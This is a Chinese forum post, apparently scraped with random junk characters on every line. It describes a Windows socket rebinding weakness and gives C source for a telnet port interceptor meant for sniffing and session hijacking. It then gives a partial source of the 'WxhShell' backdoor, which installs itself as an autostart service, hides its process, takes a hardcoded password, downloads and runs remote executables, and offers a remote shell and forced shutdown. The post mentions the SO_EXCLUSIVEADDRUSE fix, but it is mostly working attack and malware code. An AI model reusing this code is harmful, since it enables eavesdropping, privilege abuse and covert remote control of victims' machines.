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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PW}Yts7p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `VHm,g2  
Yd@9P 2C  
  saddr.sin_family = AF_INET; \"5\hX~dS  
cu Nwv(P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I(2ID +  
)/BKN`,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9J<KR #M  
Y.-i;Mmu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !a0HF p$9  
3T_-_5[c  
  这意味着什么?意味着可以进行如下的攻击: ?&?y-&.5-  
Dgdh3q;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R (6Jvub"I  
FrB19  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sR5dC_  
*FO']D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Jg7IGU(dct  
m'%F,c)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \"n&|_SZ\  
m0 `wmM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %F03cI,  
py)V7*CgH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,"DkMK4%  
L-Z1Xs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1y>P<[  
'*K/K],S]  
  #include [3j]r{0I  
  #include 'I;pS)sb  
  #include olh|.9Kdj}  
  #include    J)*y1   
  DWORD WINAPI ClientThread(LPVOID lpParam);   4H{L>e  
  int main() i<-#yL5  
  { @T1-0!TM')  
  WORD wVersionRequested; MYLq2g\  
  DWORD ret; 4/HyO\?z5  
  WSADATA wsaData; ww=< =  
  BOOL val; eGZId v1  
  SOCKADDR_IN saddr; n}a# b%e  
  SOCKADDR_IN scaddr; y9:|}Vh  
  int err; e=YvM g  
  SOCKET s; N-lXC"{)  
  SOCKET sc; 8^+Q n/b_%  
  int caddsize; E-l>z%  
  HANDLE mt; 9erTb?@S  
  DWORD tid;   jMgNi@  
  wVersionRequested = MAKEWORD( 2, 2 ); O75ioO0  
  err = WSAStartup( wVersionRequested, &wsaData ); D*heYh  
  if ( err != 0 ) { { R&F_51)V  
  printf("error!WSAStartup failed!\n"); e -x{7  
  return -1; V[CS{Hy'  
  } he 9qWL&^G  
  saddr.sin_family = AF_INET; {DAwkJvb]  
   Rg+V;C C~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xqLLoSte  
&EZ28k"x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J1g `0XH  
  saddr.sin_port = htons(23); CI ~+(+q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zb3E-'G+  
  { N9_9{M{  
  printf("error!socket failed!\n"); DOf[?vbu  
  return -1; !Il<'+ ^  
  } jwGd*8 /  
  val = TRUE; Ws'3*HAce  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i $#bg^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ig3uY#  
  { =p ^Sn,t  
  printf("error!setsockopt failed!\n"); D L<r2h  
  return -1; (7&[!PS  
  } .z)&#2E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <{:$ ]3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q;Xb-\\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x>7}>Y*(  
#*XuU8q?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D CFYpkR%  
  { ps^Z)x`GV  
  ret=GetLastError(); sYgpK92  
  printf("error!bind failed!\n"); D<C ZhYJ  
  return -1; /mF%uI>:  
  } 8.F]&D0p8  
  listen(s,2); cC b'z1  
  while(1) P]1`=-  
  { px" .pYr0  
  caddsize = sizeof(scaddr); S"V|BU  
  //接受连接请求 J_<ENs-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Tgc)'8A;BN  
  if(sc!=INVALID_SOCKET) cT-XF  
  { z'XFwk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t@.M;b8  
  if(mt==NULL) yIOoVi\m  
  { G"3D"7f a  
  printf("Thread Creat Failed!\n"); U_B"B;ng+  
  break;  ze{  
  } 9g|o17  
  } tFO86 !ln  
  CloseHandle(mt); ku&IVr%  
  } ~;9B\fE`  
  closesocket(s); < Pg4>  
  WSACleanup(); ZQZ>{K  
  return 0; grp1nWAs  
  }   oX8e}  
  DWORD WINAPI ClientThread(LPVOID lpParam) q!t_qX7u  
  { XSkx<"U*  
  SOCKET ss = (SOCKET)lpParam; t,)` Zu$  
  SOCKET sc; Yx>=(B  
  unsigned char buf[4096]; 7 `thM/fN  
  SOCKADDR_IN saddr; c>,|[zP{  
  long num; wspZ Eu>C;  
  DWORD val; %n SLe~b  
  DWORD ret; LhUrVydL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^~E?7{BL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !/[/w39D0o  
  saddr.sin_family = AF_INET; Mnn\y Tblp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ckHHD|  
  saddr.sin_port = htons(23); h}nceH0s3d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >T'^&l(:  
  { CuR.a  
  printf("error!socket failed!\n"); Wz`MEyj  
  return -1; Hw-,sze j"  
  } 9~J  
  val = 100; 3){ /u$iH.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xb@lKX5Re  
  { )#%k/4(Y  
  ret = GetLastError(); /{gCf  
  return -1; /4}{SE  
  } _e E(P1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xxpvVb)mF  
  { )S]4 Kt_  
  ret = GetLastError(); H.3+5 po  
  return -1; A'^y+42jY  
  } 8vjaQ5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D~P I_*h.  
  { fo;Ftf0  
  printf("error!socket connect failed!\n"); c*sK| U7)  
  closesocket(sc); p(g0+.?`~  
  closesocket(ss); mR\rK&'6  
  return -1; @zSI@Oq_  
  } +l+8Z:i<  
  while(1) Vv8e"S  
  { zUF%`CR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?j6?KR@#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yj13>"nh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?`#)JG,A7  
  num = recv(ss,buf,4096,0); =87.6Ai  
  if(num>0) -rb]<FrL^  
  send(sc,buf,num,0); ;5urIYd  
  else if(num==0) xXp$Nm]:  
  break; ckY,6e"6  
  num = recv(sc,buf,4096,0); jq#uBU %  
  if(num>0) i"V2=jTeBv  
  send(ss,buf,num,0); @F%H 1  
  else if(num==0) !Bcd\]q  
  break; w 4-E@>%  
  } G$kspN*"A  
  closesocket(ss); 2Z!%Q}Do  
  closesocket(sc); ^vw? 4O  
  return 0 ; V4@ HIM  
  } wH&[Tg  
,Wtod|vx\U  
n%yMf!M .:  
========================================================== 1iyd{r7|  
F0 x5(lp Q  
下边附上一个代码,,WXhSHELL ?nN3K   
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========================================================== HIM>%   
4Qh\3UL~  
#include "stdafx.h" -b'93_ZTu:  
XMzL\Edo  
#include <stdio.h> Z\Qa6f!  
#include <string.h> %P05k  
#include <windows.h> 6P@3UQ)}s  
#include <winsock2.h> s wgn( -  
#include <winsvc.h> G$FNofQx  
#include <urlmon.h> i]oSVXx4WC  
QbA+\  
#pragma comment (lib, "Ws2_32.lib") )xwWig.  
#pragma comment (lib, "urlmon.lib") ozv:$>v@"  
vF,\{sgW  
#define MAX_USER   100 // 最大客户端连接数 B]jN~CO?  
#define BUF_SOCK   200 // sock buffer J}a 8N.S  
#define KEY_BUFF   255 // 输入 buffer 46^LPC"x  
DWT4D)C,U  
#define REBOOT     0   // 重启 OJ0Dw*K<  
#define SHUTDOWN   1   // 关机 KFd !wZ @e  
$C@v  
#define DEF_PORT   5000 // 监听端口 1xAZ0X#  
*tkbC2D  
#define REG_LEN     16   // 注册表键长度 PO9<g% qTf  
#define SVC_LEN     80   // NT服务名长度 c@iP^;D  
^,F8 ha  
// 从dll定义API 29#&q`J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PgZeDUPP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wa/ :JE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g!%C_AI   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G,,c,  
lB_&Lq 8G  
// wxhshell配置信息 l'h[wwEXm{  
struct WSCFG { NgH"jg-  
  int ws_port;         // 监听端口 *p )1c_  
  char ws_passstr[REG_LEN]; // 口令 DSiI%_[Ud  
  int ws_autoins;       // 安装标记, 1=yes 0=no B]jI^( P  
  char ws_regname[REG_LEN]; // 注册表键名 p<hV7x-{  
  char ws_svcname[REG_LEN]; // 服务名 'U=D6X%V9m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :$eg{IXC"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4'L%Wz[6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z[+H$=$%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eyPh^c]?`8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gHCk;dmq81  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F=}-ngx8&  
nU]4)t_o\  
}; LZC)vF5  
F@=)jrO=$  
// default Wxhshell configuration |/LCwq%  
struct WSCFG wscfg={DEF_PORT, dno=C  
    "xuhuanlingzhe", mMLxT3Ci8  
    1, 7|=*z  
    "Wxhshell", JUBihw4  
    "Wxhshell", }M%U}k]+@  
            "WxhShell Service", eO<:X|9T  
    "Wrsky Windows CmdShell Service", Ya$JX(aUe  
    "Please Input Your Password: ", ZUE?19GA  
  1, ^'"sFEV7RN  
  "http://www.wrsky.com/wxhshell.exe", WR;"^<i9  
  "Wxhshell.exe" LeY!A#j  
    };  &gIDcZ  
f#9DU}2m  
// 消息定义模块 \gd.Bl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _Se~bkw?v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -t28"jyj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'W0?XaEk-  
char *msg_ws_ext="\n\rExit."; ~c8Z9[QW  
char *msg_ws_end="\n\rQuit."; ]F&<{\:_}  
char *msg_ws_boot="\n\rReboot..."; ~4p@m>>  
char *msg_ws_poff="\n\rShutdown..."; _VIVZ2mU=  
char *msg_ws_down="\n\rSave to "; ep]tio_  
k:D;C3vJd  
char *msg_ws_err="\n\rErr!"; q!l[^t|;  
char *msg_ws_ok="\n\rOK!"; ==d@0`  
G[U'-a}I  
char ExeFile[MAX_PATH]; Vj.5b0/(  
int nUser = 0; O{" A3f  
HANDLE handles[MAX_USER]; ((Bu Bu>  
int OsIsNt; d9/YW#tm  
Y)% CxaO `  
SERVICE_STATUS       serviceStatus; !Pmv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )KvQaC  
(C;oot,  
// 函数声明 1EW-%GQO  
int Install(void); S&BJR!FQ  
int Uninstall(void); 3e)3t`  
int DownloadFile(char *sURL, SOCKET wsh); v6{qKpU#  
int Boot(int flag); gHS;RF9  
void HideProc(void); I<Vh Eo,  
int GetOsVer(void); 5x/q\p-{/  
int Wxhshell(SOCKET wsl); Q+4xU  
void TalkWithClient(void *cs); E3N4(V\*  
int CmdShell(SOCKET sock); =\IcUY,4  
int StartFromService(void); VU>s{_|{  
int StartWxhshell(LPSTR lpCmdLine); mtEE,O!+  
*.ffyBI*~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^FLuhLS\*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .F=15A  
8.vPh  
// 数据结构和表定义 GvQ|+vC  
SERVICE_TABLE_ENTRY DispatchTable[] = 5S:&^ A<  
{ .MO"8}]8Z  
{wscfg.ws_svcname, NTServiceMain}, |0Kj0u8T  
{NULL, NULL} Q!DQ!;Br6  
}; TI -#\v9  
-B\`O*Q  
// 自我安装 m9^ ? p  
int Install(void) 7S<Z&1(  
{ ye U4,K o  
  char svExeFile[MAX_PATH]; H >@yC  
  HKEY key; +M9=KVr  
  strcpy(svExeFile,ExeFile); Z+"%MkX0  
@vf{_g<  
// 如果是win9x系统,修改注册表设为自启动 7Kx3G{5ja  
if(!OsIsNt) { yc,Qz.+g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }-{l(8-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JnX@eBNV  
  RegCloseKey(key); \IQP` JR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (tGK~!cAv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cTRQI3Oa>  
  RegCloseKey(key); e=nExY  
  return 0; X~RET[L2  
    } 8a{FxCBw  
  } 8xUmg&  
} :xd&V%u`  
else { "42u0rH0J  
DvnK_Q!  
// 如果是NT以上系统,安装为系统服务 ff"Cl p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zqAK|jbL  
if (schSCManager!=0) ;2RCgX!'%  
{ (E)/' sEb  
  SC_HANDLE schService = CreateService Xmy(pV!PF  
  ( ]4@z.1Mr  
  schSCManager, 8}p5MG  
  wscfg.ws_svcname, La}=Ng  
  wscfg.ws_svcdisp, N i^pP@('  
  SERVICE_ALL_ACCESS, ?Gr<9e2Eo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ->vfQwBFd  
  SERVICE_AUTO_START, (CY VSO  
  SERVICE_ERROR_NORMAL, 6m21Y8N  
  svExeFile, lfR"22t  
  NULL, /B!"\0G/,  
  NULL, \~nUk7.  
  NULL, nLkC-+$tM  
  NULL, >fo &H_a  
  NULL VIbm%b$~  
  ); F!{N4X>%T  
  if (schService!=0) Db yy H_  
  { _p{ag 1gP  
  CloseServiceHandle(schService); />\.zuAr&  
  CloseServiceHandle(schSCManager); J.":oD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  6" 3!9JC  
  strcat(svExeFile,wscfg.ws_svcname); HkxFDU-K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;,*U,eV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B!< {s'  
  RegCloseKey(key); -'k<2"z  
  return 0; 451C2 %y  
    } L~ V 63K  
  } DC*|tHl  
  CloseServiceHandle(schSCManager); UR-e'Z&]  
} u ` 9Eh;  
} Uy ;oJY  
I}Q3B3Byg  
return 1; Fg4eIE-/M  
} KnZm(c9+  
pM[UC{  
// 自我卸载 oB3>0Pm*a.  
int Uninstall(void) 2ok>z$Y  
{ ..;LU:F  
  HKEY key; Cgw#c%  
L0|Vc9  
if(!OsIsNt) { nC`#Hm.V%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q8Usyc'3  
  RegDeleteValue(key,wscfg.ws_regname); F>A-+]X3o  
  RegCloseKey(key); IG +nrTY0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7"4|`y^#  
  RegDeleteValue(key,wscfg.ws_regname); iO#H_&L.p  
  RegCloseKey(key); "_'9KBd!  
  return 0; !l6B_[!@  
  } >E"FoZM=  
} e~rBV+f  
} uK(+WA  
else { & PHHacp  
\/K>Iv'$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 40%p lNPj  
if (schSCManager!=0) 9FK:lFGD  
{ vR1%&(f{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zZ-e2)1v  
  if (schService!=0) -lSm:O@'  
  { 9'//_ A,  
  if(DeleteService(schService)!=0) { ZWf{!L,@Z  
  CloseServiceHandle(schService); .(9IAAwKn  
  CloseServiceHandle(schSCManager); e%'9oAz  
  return 0; cx_"{`+e  
  } tvRa.3  
  CloseServiceHandle(schService); 0e vxRcrzz  
  } ?WUE+(oH>  
  CloseServiceHandle(schSCManager); pJ_Z[}d)c  
} 4B]8Mp~\aL  
} #C%<g:F8  
o/)\Q>IY  
return 1; m/Yi;>I(  
} 'zT/ x`V  
GUat~[lUrj  
// 从指定url下载文件 |Z 3POD"9  
int DownloadFile(char *sURL, SOCKET wsh) 8agd{bxU  
{ AW> P\>{RE  
  HRESULT hr; NV9=~c x  
char seps[]= "/"; Hg(\EEe  
char *token; ]iLfe&f  
char *file; wZrdr4j  
char myURL[MAX_PATH]; -ZihEyG?V  
char myFILE[MAX_PATH]; , is .{ y  
VdK-2O(.-  
strcpy(myURL,sURL); o'Tqqrr  
  token=strtok(myURL,seps); >y]YF3?  
  while(token!=NULL) :X`J1E]Rjd  
  { &2?kD{  
    file=token; zP=J5qOZ8  
  token=strtok(NULL,seps); bk4%lYJ"  
  } SKRD{MRsux  
]s, T` (&  
GetCurrentDirectory(MAX_PATH,myFILE); O gHWmb  
strcat(myFILE, "\\"); d\Dxmb]o  
strcat(myFILE, file); 6oUT+^z#  
  send(wsh,myFILE,strlen(myFILE),0); 2?-}(F;Z  
send(wsh,"...",3,0); 8CEy#%7]}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A ;kAAM  
  if(hr==S_OK) )_bXKYUX*0  
return 0; >!WJ{M0  
else uF(- h~  
return 1; Ti' GSL  
:l9C7o  
} 4dfe5\  
=~aJ]T}(  
// 系统电源模块 ? # G_ &  
int Boot(int flag) u%*;gu"2  
{ Zqam Iq  
  HANDLE hToken; .WG@"2z|  
  TOKEN_PRIVILEGES tkp; ?+Qbr$]  
U}Hmzb  
  if(OsIsNt) { Q_uv.\*z_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,sLV6DM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F1Z20)8K  
    tkp.PrivilegeCount = 1; e[e2X<&0RT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &aHj;Z(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HmX (= Y  
if(flag==REBOOT) { ;UPw;'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _&w!JzpXT  
  return 0; 1uy+'2[Z-D  
} <<;j=Yy({`  
else { [9+M/O|Vs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4L5Wa~5\  
  return 0; 6'wP?=  
} iSFgFJG^  
  } r2&{R!Fj`  
  else { 3{$c b"5  
if(flag==REBOOT) { `pcjOM8u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6(ja5)sn*  
  return 0; .)W8 U [  
} DDkO g]  
else { u-k*[!JU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  R6AZIN:  
  return 0; mfx 'Yw*{  
} O>k.sO <  
} C2`END;  
eN jC.w9  
return 1; 9CL&tpqv f  
} ?NHh=H\7u  
'-v~HwC+/T  
// win9x进程隐藏模块 #4" \\  
void HideProc(void) fk",YtS*  
{ 7`WK1_rR\  
;2X1qw>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xSLN  
  if ( hKernel != NULL ) wL%>  
  { zizrc.g/Yg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 74Kl!A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WnIh( 0  
    FreeLibrary(hKernel); E26ZVFg  
  } 1[}VyP6 e  
fitm*  
return; ke/o11LP  
} f 8uVk|a  
^R2:Z&Iv%  
// 获取操作系统版本 4QDF%#~q^  
int GetOsVer(void) dB1bf2'b#  
{ S:R%%cy  
  OSVERSIONINFO winfo; m*a0V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e1'_]   
  GetVersionEx(&winfo); rP>5OLP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xwz2N5  
  return 1; 2KPXRK  
  else 8ztY_"]3p  
  return 0; ;>Kxl}+R  
}  lual'~  
B6ys 5eQ  
// 客户端句柄模块 duwZe+  
int Wxhshell(SOCKET wsl) $%!]tNGS  
{ NVOY,g=3X  
  SOCKET wsh; u/,m2N9cL  
  struct sockaddr_in client; jN B-FVaT  
  DWORD myID; ,D#~%kq~  
t(s']r  
  while(nUser<MAX_USER) 5$9j&&R  
{ rgOB0[  
  int nSize=sizeof(client); 2p'qp/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <K2 )v~  
  if(wsh==INVALID_SOCKET) return 1; fHe3 :a5+W  
7ZJYT#>b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b)`<J @&{  
if(handles[nUser]==0) $osDw1C  
  closesocket(wsh); i*F^;-q)  
else 3tgct <"  
  nUser++; -lLq)  
  } Qy9#(596  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OvQG%D}P=  
'jfI1 ]q  
  return 0; a7M8sZ?"  
} iXXgPapz  
PY) 74sa  
// 关闭 socket .+ _x|?'  
void CloseIt(SOCKET wsh) ON !1lS  
{ eP;lH~!.0  
closesocket(wsh); [dUW3}APV  
nUser--;  H'2pmwk  
ExitThread(0); $e0sa=/  
} r_ Xk:  
t&-7AjS5  
// 客户端请求句柄 [,l BY-Kz+  
void TalkWithClient(void *cs) ! 5]/2  
{ ]Wfnpqc^  
hGzj}t W8d  
  SOCKET wsh=(SOCKET)cs; 0naegy?,  
  char pwd[SVC_LEN]; l$z-'  
  char cmd[KEY_BUFF]; V<(cW'zA/  
char chr[1]; M`S >Q2{  
int i,j; NO;+:0n  
B 6|=kl2C  
  while (nUser < MAX_USER) { bY]aADv\  
*n}{ )Ef  
if(wscfg.ws_passstr) { >a]{q^0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X $J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d+z8^$z"  
  //ZeroMemory(pwd,KEY_BUFF); OCF= )#}qd  
      i=0; d)9=hp;,V  
  while(i<SVC_LEN) { o2&mhT  
_AK-AY  
  // 设置超时 (AV j_Cw  
  fd_set FdRead; J4=~.&6  
  struct timeval TimeOut; %~G)xK?W*  
  FD_ZERO(&FdRead); Y+lZT4w  
  FD_SET(wsh,&FdRead); y1@{(CDp"  
  TimeOut.tv_sec=8; I+ydVj(Op  
  TimeOut.tv_usec=0; wR\%tumk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z+FJ cvYx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [N.4 i" Cd  
FzW7MW>\x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8)'OXR0/  
  pwd=chr[0]; l2z@t3{  
  if(chr[0]==0xd || chr[0]==0xa) {  ig jr=e  
  pwd=0; Pv/$ ;R%  
  break; <08)G7  
  } >'7Icx  
  i++; 8,=,'gFO  
    } #sN]6  
#8rLB(  
  // 如果是非法用户,关闭 socket >pUR>?t"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CKy' 8I9  
} 8)/d8@  
J?LetyDNr]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oyK'h9Wt1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <U$x')W  
<Y9e n!3\  
while(1) { N-y[2]J90  
"V}WV!w  
  ZeroMemory(cmd,KEY_BUFF); |!,;IoZ  
1F{c5  
      // 自动支持客户端 telnet标准   X8"4)IZ3  
  j=0; Z`T]jm-3  
  while(j<KEY_BUFF) { =YOq0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;y/&p d+  
  cmd[j]=chr[0]; ;M1#M:  
  if(chr[0]==0xa || chr[0]==0xd) { }&F|u0@b  
  cmd[j]=0; mA@FJK_  
  break; ?^n),mR  
  } T1_O~<  
  j++; 4hz T4!15  
    } P XKEqcQR  
gE\&[;)DB  
  // 下载文件 `-/-(v+ i  
  if(strstr(cmd,"http://")) { of659~EIW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m %]1~b}"  
  if(DownloadFile(cmd,wsh)) o#fr5>h-w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TkBHlTa"=  
  else gNUYHNzDM(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u%!/-&?wF  
  } GRM6H|.  
  else { nm Y_)s  
nl5A{ s  
    switch(cmd[0]) { #oW" 3L{,  
  E2K{9@i  
  // 帮助 X|y(B%:  
  case '?': { vJ9I z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /W9(}Id6  
    break; R-LMV  
  } ti'B}bH>'  
  // 安装 Bs)'Gk`1  
  case 'i': { jVi> 9[rz  
    if(Install()) oq${}n<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3>M%?d  
    else B\S}*IE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B>.x@(}V~  
    break; & OYo  
    } x<5ARK6\=  
  // 卸载 %|j`z?i|  
  case 'r': { y^Uh<L0M  
    if(Uninstall()) U}@xMt8@l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *IX<&u#  
    else v|\3FEu@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aKjP{Z0k$  
    break; 5(>SFxz"t  
    } )G#mC0?PV  
  // 显示 wxhshell 所在路径 /| q .q  
  case 'p': { ysapvQN_6  
    char svExeFile[MAX_PATH]; VWq]w5oQO  
    strcpy(svExeFile,"\n\r"); vMd3#@  
      strcat(svExeFile,ExeFile); o1`\*]A7J  
        send(wsh,svExeFile,strlen(svExeFile),0); I+=+ ,iXhB  
    break; p<1y$=zS  
    } `+z^#3l  
  // 重启 3P@D!lV&K  
  case 'b': { 5skxixG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m ww<Xm'  
    if(Boot(REBOOT)) vAp<Muj(a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <qg4Rz\c]  
    else { J 2<kOXXJ9  
    closesocket(wsh); ijsoY\V50  
    ExitThread(0); p8Z?R^$9H  
    } pHT]2e#  
